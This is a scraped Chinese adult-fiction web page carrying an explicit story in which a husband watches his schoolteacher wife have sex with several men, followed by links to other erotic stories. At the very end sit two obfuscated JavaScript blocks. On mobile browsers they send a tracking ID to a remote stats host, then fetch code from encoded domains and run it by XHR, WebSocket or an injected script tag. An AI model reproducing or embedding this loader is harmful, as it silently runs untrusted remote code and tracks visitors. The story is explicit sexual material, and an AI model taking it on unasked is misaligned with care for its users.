图片载入中

假清纯真淫荡人妻老师(上.中.下

特大字】 【大字】 【中字】 【小字

假清纯真淫荡人妻老师(上)

欣是我的太太,我们虽然结婚八年,她也三十五岁了并生了一个小孩,但有丰满的身材,还是常常惹来其他男人的眼光,特别是她的脸孔,大而清纯的双眼及樱桃小嘴,不知迷死了多少人。

我们都是从南部乡下到台中念书联谊时认识的,我读逢甲,她念东海,谈恋爱时,虽然经常脱光光爱抚,不过一直到订婚以后,我的第一次才奉献给了她,婚后感情都很好,一直到去年,经济不景气不但让我失去了工作,也才使我发现妻子真实的另一面。

在电子公司上班的我原本有一份人人欣羡的好薪水,但公司不赚钱,我就被开除了,那一段日子我待在家中带小孩,顺便兼职开计程车,妻则首次出外上班,到附近国中去代课,我有很多空余时间,常常整理家务。

有一天在一堆箱子里发现了满满的信件,上头是都是我寄的,我边看边回亿起以往快乐初识的日子,但看没有几封后,发现了另一个男人的来信,而且是上个星期才寄的,因为我从来不知道她有其他朋友还在通信

好奇心让我从最底下最久以前的信,一封一封的往上看,愈看却愈难过,原来她从高中开始就有一个很要好的已婚男人,信的内容除了一般的甜蜜话语外,更可以看出来俩人关系非比寻常,一开始还很含蓄

“想你,在夜晚,想你最灵活的嘴”

“心痛吗?还是那里痛呢?还会痛吗?”

慢慢地演变成“看不出来你下面的“食量”还蛮大,下次一定养精蓄锐餵饱你”、“肉穴是不是痒的等我干!”。

自此以后,几乎每一封都在回味他们在一起的性事,其中还有最令我心痛的一封提到

“嫁给那个性无能的家伙吧,让他戴绿帽,哈哈”

令我讶异的是,即使在结婚后,甚至在怀孕后期,他们每个星期还至少作爱一次,地点有公园、电影院、公厕、海边,更夸张的是,甚至还在半夜行人少至的东海大学天桥上,至此我才了解,为何当我要求时,妻总是说很累。

发现妻的秘密,对我造成沉重的打击,但也让我搞清楚过去疑惑的事,因为她的外表非常清纯,所以对于她的性事开放行为,我一直不解,我们虽然认识好几年才订婚发生关系,不过因为都住在外面,常常会互相安慰一番,记得认识没多久,我们已经发展到二垒,

有一次她就在学校内一个暗处自己将内裤剥光,还一直将我的头往她的阴部推,我根本不知道要干什么,原来要我帮她口交,她的阴毛很浓很长,很难和她清纯的脸想在一起,我必须用手小心拨开,现在想起来觉得有一点好笑,但当时我是好学生,很兴奋也很紧张,我很讶异为何人来人往的地方,这么清纯的老婆还能这么开放,

她喜欢我帮她口交,她的爱液很多很多,甚至比我的精液还多,她也擅长帮我口交,有时俩人爱抚认不住了,她就是不让我插入,又有能力用嘴巴让我射出来,当时只是觉得很爽,也发现阴毛多的女人,果然比较淫荡。

说实在的,我不是很爱性交的男人,或许是在和妻结婚前,俩人长期的爱抚吧!也或许是她喜欢在半公开场所挑逗我,让我有些早泄的习惯,反正不是很清楚,我必须承认,我们的性事确实不太协调,尤其结婚时间久了,更是如此,往往在我插入不到十分钟就射了,她虽然偶而会抱怨一下说“人家才刚开始”,但大部分时间只是笑笑说没关系。

也因此我们有一段时间大概半年没有作爱,其他时候,一个月也顶多一次,二人都没什么兴致,还要让她看A片暖身,我平时是用自慰解决,自从看了她的信,才知道有人在餵饱她,难怪有时跟她说让别人干她,她也总是笑一笑说:“真的吗?好啊,我要去给别人干,给你戴绿帽,你自己不介意的喔!”。

自从发现妻的秘密后,我开始无心开计程车,第二天我就开始跟踪她,结果却立刻发现她像花蝴蝶般投入不同男人的怀抱,七点廿分送小孩去幼稚园,接着她去国中教书,十点左右就开车出校门,我跟着她到台中七期重划区,眼见着她开进汽车旅馆内,整整接近三个小时才开出来,我注意到驾驶座旁有一个壮硕的男人,后来知道是她学校的体育老师兼管理组长,一路上亲来亲去地开回学校去。

那天晚上,妻笑容满面地回到家看到我更兴奋的跟我聊天,我的心情却激荡的很厉害,我想了一整天,我竟然不知如何回应,我真的常跟她提过,尽量去和别人干,享受一下高潮的滋味,但别让我知道,可是那是不知道她之前有男友的时候,多少也有开玩笑的意思

所以我很迷惘,我立刻跟她说想作爱,她说你不累吗?我摇摇头,开始去剥她的衣服,她挣脱我说要先洗澡,我跟了进浴室,她赶我出来,我很假装很生气(事实上也很生气),她无奈的脱衣服,脱到裙子时犹豫了一下

原来里面穿了一件性感透明内裤,还垫了一层卫生纸,我当然立刻知道是怎么回事,但还是问她怎么了?她脸红了一下说,今天分泌物多了些,并立刻将卫生纸丢进马桶内冲走,我强硬地用手拨开她浓密的阴毛,天啊,真是湿淋淋的,她则抓着我的手进浴缸内开始冲水,并顺着低下头开始舔我阴茎,我能说什么呢?

没几下就被她搞出来了,她笑着说“你太累了”,我则有很深的失落感,不知道要怎么走下一步。

第三天我起床时已经十点钟,妻已经出门,不过我知道她今天中午会和她那个已婚的男友见面,我就先到她们约定的地方守株待兔,也是在七期重划区,果然中午时俩辆车几乎同时到达,妻坐上那人的车后直往大肚山上开,经过台中监理站约十分钟,车停在马路旁,我只好继续往前开了一分钟,再慢慢走路回来,我很怕她看到我,但当我走近时车内已没有人,只依稀可以听到对话的声音。

我向路旁的小路走去,约三分钟后,声音愈来愈清楚,是呻吟声,二人竟然大白天就在树下干了起来,妻一丝不挂站着趴在树干上,脚上只有高根鞋,屁股一直往后挺,一条腿往后勾住那男的屁股,我可以看到他们的侧面,阴茎进进出出妻的毛穴,扑滋扑滋的撞击声一下接着一下,那男的手在妻的乳头上转圈圈,我终于知道清纯的妻为何喜欢在公开场所露出,而且竟然一点都不会不好意思了。

除了妻毫无遮掩一声比一声大的呻吟声外,听到那男的说:“有没有又勾搭上男人了?怎么样?还是喜欢我的懒鸟吧,哈哈哈。”

妻勾着眼神斜看着他,娇柔的说:“你,喔喔……喔……最……最棒了。” “在家里有在干吗?”

“神……经……他……他……根本就不行……每次……每次人家还……还……没热身……就射……射了……你……喔……喔……又……喔喔……粗又大……干……干人家……喔……才爽……好……好喜欢……被……被你干……喔喔……啊……喔喔……喔……”妻持续呻吟,而且音调愈来愈高,连说话都有困难。

我看到抽送了二三百下,那男的将阴茎抽了出来,果然又粗又长,尤其是龟头的部分特别突出,而且湿淋淋的,还一直跳动,我以为要射了,却看到妻子转了身,将脱光的衣服铺在地上,让那个男的躺下来,她接着掰开自己的毛穴慢慢扶着阴茎跨坐上去,自己开始配合那男的屁股动作上下摇动起来,一边喊着:“天啊,好……好好……爽”

一边用手爱抚自己的乳房,大概过了三、四分钟,就只剩下“喔……喔……喔……喔”的声音了。

在阳光下,他们俩个人的行为真是极度的淫荡,我则已经不知道要怎么反应,阴茎早就硬起来,一下子就射了,不知过了多久,那男的才开始颤抖着将阴茎抽出来,还是没射,两人又换了一个姿势,那男的抱着妻,面对面搞了起来,而且将她往路边抱。

我吓了一跳,赶忙跑开躲在另一棵树后,想不到两人大白天大胆的在小路上站着搞,大概又过了十分钟,他抱着让妻躺在衣服铺设的地上,又抽插了几百下,才喷到妻的胸前和脸上,然后妻就趴在他的胸膛上,从后面看,她的毛穴压在那男的阴茎上,分不清是精液还是她的爱液慢慢的流了下来。

只听她说:“人家离不开你!”

那男的的哈哈大笑,问:“再讲一讲你家那一个性无能让我爽一爽!”

妻说:“不但粗大比不上你的一半,最近还愈来愈不行,我吸他几下就射出来了,好像快要阳萎了!”

那男的说“你真是荡妇!”

妻娇柔地说“对啊,人家是荡妇,就是喜欢被你干,特别喜欢在大白天在野外被男人干,愈多人一起干我愈好!”。

接着竟然用她的嘴去吸那男的阴茎,只见肉虫又慢慢变大,这回妻坐在地上,大掰双脚,迎接那男的阴茎进去,这时我已经看不下去了,一方面自己已经射了,另方面还是不知如何回应,就慢慢走回开车回家了。

看完妻和那男人激烈的性爱,我已无心再开计程车了,回到家冲了澡收拾残局,正从冰箱中拿出柳橙汁,大门“卡”的一声开了,原来妻也回来了,红润的脸颊看起来还没从高潮中完全回神,我故意抬头看了指在二点半的时钟,装作讶异的问她不用上课吗?

她用手搧了搧身体说:“对啊,好热,想先去冲个澡,你怎么没穿衣服!” 就迳自走向浴室,我又立刻跟了进去,她的衣服确实已湿的贴在身体上,事实上身体充满了男人精液的味道,她可能自己没有发觉吧!

但她看到我站在浴室门口,却动也不动地说:“昨天才帮你出来,不会又要来了吧!”

动手摸我的阴茎,它却垂在那里,没有一点动静,我只好说没事,就退到客厅,大概过了一个小时,妻才从浴室出来,边拿着浴巾擦着头发,看起来真像是美丽的仙子,一双大眼闪闪发亮,清纯的脸庞上性感的嘴唇微微闭着,仍然坚挺的乳房上二颗突出的豆豆,黑而油亮的浓密耻毛,特别是修长无瘕的双腿,以及结实突出的屁股,简直像是完美的模特儿,她显得神情愉快,看到我就边擦头发边哼着歌走向我。

“今天晚上有个同事结婚,我可能要到嘉义去,小孩已送到我妈家,我跟她讲好了,我上班时间她都要帮我带。”妻笑着对我说。

“不会吧,怎么突然有个宴会,那么远怎么去?”

“拜托啦,好久没出去了,学校的同事要载我一起去,是我们的管理组长,他待会就来了。”她将坚挺的乳房靠在我的背上。

我觉得很生气,但不知道要向谁发脾气,难道你真的吃不饱吗?我的怒气几乎发作,但又有何用?不知为何,我只能说:“我要干你!”。

妻笑着说:“来啊!”

反而动手解起我的裤带,手将阴茎拉了起来,又用她的嘴舔起来了,我不能不配服她的技巧,没几下我又射了,她这一次用娇柔的语气说:“来干我啊,讨厌,真没用,我要去干别人喔!”

我只能胀红脸,她接着说:“你说我可以被别人干的喔!”

我抬头看看她,她还是很俏皮,我不知道该说什么,只好点点头。

大概四点钟左右门铃响起,妻说我去开门,笑吟吟地迎进来一个壮硕的男人,不算矮的妻在他旁边就像小鸟,他看起来只有廿出头,天啊,就是我昨天看着一起和妻进去汽车旅馆近三个小时的那个男人啊!

妻向我介绍说:“我们的管理组长唐山也是体育老师喔,而且是跆拳道高手,学生都很怕他,找他罩我一点问题都没有!”

那个男人很有礼貌的和我握手打招唿,但不知是否是我的心理作用,就是发现他的眼神里闪过一丝轻蔑的味道,我也客气的和他点点头,还没聊上几句,妻就拉着他的手说,我来介绍我们家,从客厅到厨房,又到书房,最后进入主卧室,我则一直坐在客厅的沙发上冷言旁观,想不到他们进入主卧室竟然就不出来,我觉得奇怪时已经有间断的呻吟声传出,一听就知道是叫春。

我赶快跑到卧室门口,天啊,俩人竟然已经脱光衣服干了起来,那男人坐在床上,妻背对着坐在那男人身上,我直接就看到俩人密合的私处同时向着门口,他们的阴毛几乎不相上下,从门口看去,只见一整片黑毛,和偶而翻出来的粉红肉穴,及粗大油亮的肉棒,同时有一双大手在妻的乳房上爱抚着。

妻不但完全没有回避,一看到我竟然立刻断断续续地说:“是……喔……喔……你……你自己变态……我……喔……我今天……中午就在大肚山上……喔喔……看……喔……你……你……自慰射精……是你默许我和别人干的,本来我们今天是约好一起到嘉义,喝完囍酒找个借口就不回家了,但想想,干脆摊牌算了,你变……喔……喔……态。”

俩人的屁股还是上上下下摇动着,‘扑滋∼扑滋’的声音不绝于耳,那男的也说:“我觉的在你面前干你老婆,很爽,哈哈哈,真是极品荡妇,你看,淫穴吸的我都快拔不出来了!”。

妻还是不停的想说话:“我原本只……只是……想偷偷地……喔……喔喔……地给人……喔……干……啊……干……你竟然已经……喔喔……喔……喔……知道……就摊牌吧……你看……看看……看人家怎么干……我也是人啊……我……我也要爽啊……跟……你在……在一起作爱……像守活寡!”

妻用脚尖控着屁股,动作愈来愈大,两人的呻吟声愈来愈大,接下来是妻一长声呻吟,男的抽出湿淋淋的坚挺肉棒。

然后俩人换成面对面站着套弄,那男的抱起她加速动作,妻的头往后仰,长发几乎着地,嘴巴好像控住不了一样“喔喔喔”的叫个不停,那男把妻放了下来,让妻趴跪在床上,我才发现那男的阴茎似乎并不像中午妻的男友那么粗大,但龟头特别粗,而且非常高挺,他从后面插入,妻再狂叫一声,俩人又前后配合的插了起来,妻原本洁净的身体都是汗水,也不再多看我一眼,只是微闭眼睛一直呻吟着,淫水顺着细长的阴毛不间断的滴在床上。

我像着谋魔似的,呆呆地站着,妻的叫声是我过去从未听过的,我很纳闷,她高潮了吗?我竟然一点生气的感觉都没有,反而有一种将要失去妻的害怕念头,而且肉棒硬到极点,回到客厅,思绪一样混乱,只有耳边一声声的呻吟声,和肉和肉拍打的声音,又过了大概二十分钟,最后那男人大吼一声,然后妻的呻吟声慢慢平静,我知道事情总要解决的,只是我真的不知道要怎么解决。

他们俩人走了出来,竟然还是一丝不挂,那男的走在前头,我发现我错了,那男的阴茎即使垂下来,还是比我坚挺时还粗大,我的老婆走在后面,胸前和脸上的精液还顺着往下流,她丰满的乳房靠在那男的背上,竟开始骂起我来:“我再也受不了你了,想干又没本领,想赚钱又没工作,你是不是男人,和人家比比看啊,脱裤子啊,是不是又射在裤子里了。”

她手中还抓着那男的阴茎,我吓了一跳,难道这就是清纯的妻的真面目吗?只能掩面坐着,她竟走过来要脱我的裤子,我伸手打了她一巴掌,那男的立刻把我架了起来,双手往后扣,妻就要来脱我裤子,我大声喊着:“我们是夫妻啊!” 她说:“我要看你能不能干我啊,老公!”

三两下,我的裤子就被脱光了,阴茎挺立,妻说:“原来你喜欢看我被别人干!”

再用手弹了一下说:“比比看人家!”

我没有话说那男的竟然用手捏住我的阴茎,说了声:“真小!”

同时套弄起来,不到十秒我就射了,肉棒迅速变小,我的自尊心尽失,呆站着,妻对那男的说:“唐山,再干一炮吧给他看到爽!”

那男的说:“小骚货,说话愈来愈粗了喔!”

二人就在我目前互相舔了起来,我真的无法忍耐,穿起裤子就出门了,开着计程车漫无目的的在台中街头逛着,无心上班,也不知道应该去那里,就这样让心头的烦乱一直绞痛着,想到曾经捧在手中的清纯娇妻,变成别人眼中的淫荡女人,眼泪就只能不争气的掉了下来还是回家吧!

颤动的打开门锁,发现里面空无一人,打开灯光后,走到主卧室,妻白天穿的衣服散在地上,透明三角内裤卷落在床边,床上还有她余留淫液的痕迹,她掰开双腿让那男人阴茎插入肉穴的影像,栩栩如生的穿过脑海里,我的愤怒变成了不安和难过,才一个下午的时间,就经历两场激烈的性爱,她到底还有那些男人是我未知的呢?

我坐回客厅,没有意识的一直坐着,当开门声把我吵醒时,我才知道自己已经不知不觉睡了一觉,妻回来了,不过眼神发散,脸色红晕,走路也歪歪斜斜的,身体都是酒气,因为她酒量比我好,这是我认识她以来,第一次看到她醉酒,而且她在白色透明衬衫内竟然没有穿胸罩,突出的乳头就顶在胸前摇动,我有一点迷乱,可是她看也不看我一眼,慢慢的走回主卧室,整个身体就成大字形的瘫倒在床上睡着了。

我跟在后面,没有任何的想法,但更让我惊讶的是,她竟然没有穿内裤就出门了,一倒下去,整个下半身全露了出来,我才知道她不知道何时买了这样一件超短的迷你裙,以她多毛的下体,一定随时会被曝光的,我也忍不住盯着她的阴部瞧,应该是男人遗留的精液,还在慢慢流出来。

妻的阴毛真的很多很长,不像一般女人的倒三角形,从前面看,她的是正三形一片,延伸到肚脐的地方,往下则到屁眼都还很浓密,大部分的毛发超过十公分,虽然我看色情图片这么多年,但还没有看过这么茂密的黑森林,做爱时必须要小心拨开,才可以长驱直入,她的腋毛也是,比一般男人都还多很多,还有就是她的淫液超多,只要稍有刺激,就流的到处都是。

以前听人家说阴毛多的主淫荡,我还曾经取笑过她,她都说:“怎么样,你不喜欢!”

如今看来,原来是真的。看妻动也不动的躺着,我坐在一旁,突然想到要找她的日记,她一向有写日记的习惯,或许可以从她的日记中,找出我到底戴了几顶绿帽子,翻了很久都没有发现,只有梳妆台旁的抽屉锁着,我从她的包包里找出钥匙,果然里面满满的日记本,我拿出最上面的一本,先看最后一篇,日期竟然是昨天,她这样写着(全文照录):

很多游戏会愈玩愈无聊,为什么性爱不会呢?老公的家伙小,且撑不了五分钟,如果以前没有吃过,或许五分钟就够了但是享受过三十分钟的性爱后,有那一个女人可以忍耐五分钟呢?唐山啊,为何不让我早一点遇到你呢?

日记很长,可是我却没有再看下去的打算,回头看妻,迷你裙已经反折上腰,下半身都露在外面,用热水将她身体擦过一遍后,用棉被将她盖上,我不想失去她,我应该怎么办呢?我一个晚上无法入眠,一直到凌晨五点多才阖上眼睛。

早上醒来时,妻已不见踪影,但房里已收拾干净,餐桌上有丰盛的早餐,一张白纸条写着:“对不起,我不是故意要让你难过,只是你一定无法了解我的痛苦,我也想做良家妇女啊,但你为何不能让我满足?真的很抱歉,我控制不了自己的情欲!”。

望着早餐,我一点都吃不下去,盘中的一根火腿和两个荷包蛋显得相当刺眼,我将白纸翻面,写下:“如果我容许你寻找自己的情欲出口,你会珍惜我吗?请保重自己的身体,只要你还爱我,你就去做你喜欢的事吧!”,然后就出门开车了。 晚上九点回家,妻还是不在,但桌上换了另一张纸条,上面写着:“傻瓜,如果我不爱你,我会嫁给你吗?谢谢你的宽容,相信我,我真的爱你!”。

接近半夜时,有了开门的声音,我不知如何面对妻,只能假装冷漠的脸孔,但妻带着微笑进门,然后指着门口对我说:“替你介绍一个新朋友,是我们学校管理组长的同学陆天洋,田径高手喔!”

我错愕地看着他,看起来虽然年轻,但身体却显得单薄,打过招唿请他坐下后,妻亲昵地将我拉入卧室。

妻拿出我写的纸条对我说了一段话,主要大概是说她真的爱我,但也需要性爱,她希望将家里另一间空房当炮房,和别人干,但绝对会和我一起睡,陆天洋就是一个试验,试验看看我们夫妻生活能否继续,虽然她说得婉转,但大意就是这样。 我还是面无表情,有一点麻痹和痛苦地坐在床边,冷漠地说:“随你吧!” 她高兴的亲了我一下后,叫我帮她脱衣服,脱到一丝不挂,接着却走出卧室,大声地叫着:“我老公同意了,他把我脱光要让你干!”

陆天洋兴奋地说:“他真的愿意当乌龟!”

我听到妻的“嘘”声,显然她希望给我留最后的面子,但陆天洋竟身无寸缕地顶着长长粗壮的鸡巴走进卧室拍着我的肩膀对我说:“大哥,我会好好照顾嫂子的!”

回头就抱着妻在我面前将鸡巴插进她的肉穴里,一边走到“炮房”去,妻看着我说:“老公,我爱你!”。

五分钟后,妻的呻吟声此起彼落,我受不了自慰也射了,妻并未遵守承诺,或者说是情欲又收买了她,陆天洋并不满足在客房干她,他插进她的肉穴,抱着她到处走动,一下子进主卧室、一下子放餐桌上,愈来愈不堪的调情的声音一声声传入我的耳内,当陆天洋把她抱到我的旁边,坐在沙发上,由妻在上面套弄时,想不到我的鸡巴又勃起了。

“老公,你……你你……好强……喔……鸡巴……喔……好长好大……都顶到……啊……啊……喔……花……喔喔……花心了……喔喔……喔……”。

妻竟叫陆天洋老公,她皱着眉头用充满情欲的眼睛扫过我时,似乎都忘了我是谁了。

陆天洋得寸进尺,竟说:“告诉他,谁才是你的老公?”

妻眼神涣散的说:“喔……喔喔……等一下,喔……等一下等一下,喔喔……喔……你……你是……喔……啊……干我……喔……的老公……”

然后看着我说:“他……喔……是……是……啊……聊天……聊……天……喔喔……喔……的老公……喔……喔……老公……我……我……喔喔……喔……在……在……喔……给你戴……啊……喔喔……等一下……等一下……绿帽……喔喔……喔喔……喔……不……不要……喔喔……了”。

接着她一阵痉挛,大叫了几声。

陆天洋抽出鸡巴,让妻趴在矮桌上,对我说:“大哥,换你干你老婆了!”, 妻丰满的屁股、红肿半开的穴口就在我眼前,眼睛紧闭喘气,但我插进去抽动二下又射了,陆天洋看到我抖动了几下,故意又挺着大尺寸的鸡巴走到我的面前,得意的大笑说:“哈哈,可欣,你老公喜欢看我干你!”


上一篇:转贴-被继父诱奸的人妻

下一篇:今天,我摸了表妹的胸


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};